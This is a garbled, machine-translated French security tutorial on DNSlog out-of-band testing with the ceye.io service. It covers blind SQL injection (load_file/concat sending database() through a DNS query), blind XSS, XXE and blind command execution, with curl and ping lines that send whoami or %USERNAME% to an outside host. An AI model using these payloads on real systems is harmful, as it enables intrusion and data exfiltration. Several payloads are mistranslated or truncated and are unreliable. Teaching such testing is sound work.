Maison > Article > Opération et maintenance > Comment utiliser raisonnablement DNSLOG pour effectuer des tests de sécurité sans écho
Lorsque nous testons réellement les problèmes de sécurité de certains sites Web, certaines commandes de test n'ont aucune réponse après l'exécution. Nous pouvons écrire des scripts pour effectuer une injection aveugle, mais certains sites Web bloqueront notre adresse IP, nous pouvons donc définir l'adresse IP. Le pool de proxy résout le problème. problème, mais l'injection aveugle est souvent très inefficace, donc une injection DNSlog est produite.
Nous devons comprendre le symbole backtick avant d'utiliser dnslog :
Symbole : `
Nom : backtick, délimiteur supérieur
Position : backtick, ce caractère est généralement dans le coin supérieur gauche du clavier, à gauche du chiffre 1, ne le mettez pas Il est confondu avec les guillemets simples.Sa fonction : la chaîne entourée de backticks est interprétée par le shell comme une ligne de commande. Une fois exécuté, le shell exécute d'abord la ligne de commande et remplace tous les backticks (y compris deux backticks) par. son résultat de sortie standard.
Le test d'écho du journal DNS est le suivant :
Vous devez d'abord avoir un nom de domaine configurable, tel que : ceye.io, puis définir le serveur de noms du nom de domaine ceye.io via un agent comme votre propre serveur A, puis configurez DNS sur le serveur A, de sorte que toutes les requêtes de ceye.io et de ses noms de sous-domaines soient envoyées au serveur A. À ce stade, les requêtes de requêtes de nom de domaine peuvent être surveillées en temps réel, comme le montre la figure ci-dessous.
DNS laissera des journaux lors de l'analyse. Ce que nous faisons, c'est lire les journaux d'analyse des noms de domaine à plusieurs niveaux pour obtenir des informations
Pour faire simple, nous mettons les informations dans les noms de domaine de haut niveau, nous les transmettons, puis lisez les journaux, obtenez des informations.
Le principe est très abstrait, examinons-le à travers un exemple pratique.
http://ceye.io Il s'agit d'une plateforme gratuite d'enregistrement de dnslog. Après l'enregistrement, nous vous donnerons un nom de domaine de deuxième niveau dans le panneau de contrôle : xxx.ceye.io Lorsque nous mettrons les informations d'injection dans le troisième. -Nom de domaine de niveau, le journal d'arrière-plan sera enregistré.
0x01Injection aveugle SQLPrenons l'injection aveugle SQL comme exemple. Compréhension approfondie du processus d'injection DNSlog :
La fonction load_file() est requise pour l'injection aveugle via DNSlog, elle nécessite donc généralement des autorisations root. show variables like '%secure%'; Vérifiez les disques que load_file() peut lire.
1. Lorsque secure_file_priv est vide, le répertoire sur le disque peut être lu.
2. Lorsque secure_file_priv est G :, vous pouvez lire les fichiers sur le lecteur G.
3. Lorsque secure_file_priv est nul, load_file ne peut pas charger le fichier.
Configurez en définissant my.ini. secure_file_priv="" signifie que vous pouvez charger des fichiers_flie sur n'importe quel disque.
Exécutez sur la ligne de commande mysql : sélectionnez load_file('\afanti.xxxx.ceye.ioaaa'); où afanti est l'instruction de requête à injecter
Affichez la plateforme, dnsLog est enregistré. La fonction
load_file() peut résoudre les requêtes via DNS.
Prenez le cinquième niveau de sql-labs :
payload:' et if((select load_file(concat('\',(select database()),'.xxxxx.ceye.ioabc'))),1,0) - - -+
Instruction SQL exécutée : SELECT * FROM utilisateurs WHERE id='1' et if((select load_file(concat('\',(select database()),'.xxxxx.ceye.ioabc'))) ,1,0)
Vérifiez le journal DNS et constatez que la base de données de sécurité a été interrogée :
0x02 XSS (pas d'écho)En tapant à l'aveugle, laissez le navigateur du déclencheur accéder à l'adresse du lien prédéfinie en cas d'aveugle en cas de succès. , vous recevrez l'enregistrement d'accès au lien suivant sur la plateforme :
payload:> Laissez src demander notre plateforme dnslog
0x03 × ××F (pas d'écho)charge utile :
%remote;]>
0x04 exécution de la commande (pas d'écho)
Lors du ping d'un nom de domaine, il effectue un DNS récursif processus de requête. À ce stade, la demande de requête DNS peut être obtenue au niveau du backend. Lorsque la commande est effectivement exécutée et que la plate-forme reçoit l'écho, cela prouvera que la vulnérabilité existe.
Linux
curl http://haha.xxx.ceye.io/`whoami
whoami`.xxxx.ceye.io<br>ping
Windows<br>ping %USERNAME%.xxx.ceye.io
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!